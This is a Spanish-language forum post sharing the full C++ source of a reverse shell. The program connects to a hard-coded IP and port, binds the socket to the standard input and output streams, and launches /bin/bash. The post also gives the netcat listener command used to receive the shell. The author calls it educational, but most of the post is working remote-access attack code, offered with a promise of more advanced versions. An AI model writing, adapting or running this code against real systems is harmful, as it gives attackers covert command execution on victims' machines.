reverse shell C++

Iniciado por loris24, Enero 08, 2026, 06:12:12 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 08, 2026, 06:12:12 PM Ultima modificación: Enero 08, 2026, 08:43:08 PM por AXCESS
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Muy buenas chicos.

Os dejo por aqui una simple reverse shell que me apetecia hacer desde hace unos dias y que no daba encontrado el momento hasta ahora.

Os ire subiendo versiones mas completas y complejas. No hace falta decir que esto es con motivos didacticos y os aconsejo que tengais cuidado con como utilizais estas cosas.

Para probarla, ya sabeis, abrís un puerto con lo tipico... "nc -lvp <puerto a abrir>" y ya podeis poneros a jugar un poco con ello.

Tal vez suba implementaciones de RFC un poco mas completas y con explicacion merecida. ¡Un saludo!


Código: text
#include <iostream>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <cstring>
#include <cstdlib>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netdb.h>

#define IP_SERVER ("127.0.0.1")
#define PORT_SERVER ("9999")


int main(int argc, char ** argv){


    struct addrinfo base;
    memset(&base, 0, sizeof base);
    base.ai_socktype = SOCK_STREAM;
    struct addrinfo *res;
    int status;

    if(getaddrinfo(IP_SERVER, PORT_SERVER, &base, &res) < 0){
        std::cerr << "An error has ocurred in calling getaddrinfo" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    int sock = socket(
        res -> ai_family,
        res -> ai_socktype,
        res -> ai_protocol
        );

    if(sock < 0){
        std::cerr << "An error has ocurred while creating socket" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }

    if(connect(sock, res -> ai_addr, res -> ai_addrlen) < 0){
        std::cerr << "An error has ocurred while connecting" << std::endl;
        std::cerr << "exiting..." << std::endl;
        return -1;
    }
    freeaddrinfo(res);

    //ya podemos enviar y recibir

    pid_t pid = fork();

    if(pid < 0){
        std::cerr << "An error has ocurred while doing fork" << std::endl;
        std::cerr << "exiting..." << std::endl;
    }else if(pid == 0){

        //aqui estamos en el hijo
        //vamos a manipular los descriptores y a duplicarlos con el descriptor del socket
        int res_out = dup2(sock, 0); //stdout
        int res_in = dup2(sock, 1); //stdin
        int res_err = dup2(sock, 2); //stderr

        if(res_out < 0 || res_in < 0 || res_err < 0){
            //no se pudieron duplicar los descriptores
            exit(EXIT_FAILURE);
        }else{
            execv("/bin/bash", NULL); //ejecutamos nuestra shell
        }
    }else{
        //aqui estamos en el padre
        std::cout << "pid hijo:" << pid <<std::endl;
        waitpid(pid, &status, 0);
        std::cout << "proceso terminado correctamente" << std::endl;
    }

    close(sock);

    return 0;

}